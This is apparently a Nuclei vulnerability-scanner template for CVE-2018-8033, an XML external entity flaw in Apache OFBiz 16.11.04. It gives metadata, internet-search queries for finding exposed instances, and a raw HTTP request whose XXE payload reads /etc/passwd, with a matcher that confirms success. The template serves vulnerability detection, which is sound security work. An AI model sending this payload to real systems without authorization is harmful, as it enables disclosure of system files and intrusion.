Apache OFBiz 16.11.04 - XML Entity Injection

id: CVE-2018-8033

info:
  name: Apache OFBiz 16.11.04 - XML Entity Injection
  author: pikpikcu
  severity: high
  description: |
    Apache OFBiz 16.11.04 is susceptible to XML external entity injection (XXE injection).
  impact: |
    Successful exploitation of this vulnerability could lead to information disclosure, denial of service.
  remediation: |
    Apply the necessary patches or upgrade to a non-vulnerable version of Apache OFBiz.
  reference:
    - https://lists.apache.org/thread.html/e8fb551e86e901932081f81ee9985bb72052b4d412f23d89b1282777@%3Cuser.ofbiz.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2018-8033
    - https://lists.apache.org/thread.html/e8fb551e86e901932081f81ee9985bb72052b4d412f23d89b1282777%40%3Cuser.ofbiz.apache.org%3E
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-8033
    cwe-id: CWE-200
    epss-score: 0.04526
    epss-percentile: 0.92473
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: ofbiz
    shodan-query:
      - http.html:"ofbiz"
      - ofbiz.visitor=
    fofa-query:
      - body="ofbiz"
      - app="apache_ofbiz"
  tags: cve,cve2018,apache,ofbiz,xxe

http:
  - raw:
      - |
        POST /webtools/control/xmlrpc HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Language: en
        Content-Type: application/xml

        <?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d8c7cdcb8f7ec1f707a8b58e43d7a8b5f4f59ca1b454bde8b0dba09f4c13563f02205d509b2aaae1a1b38f59a10ed74e275e1a3bbac984092b524c15c38745b2e232:922c64590222798bb761d5b6d8e72950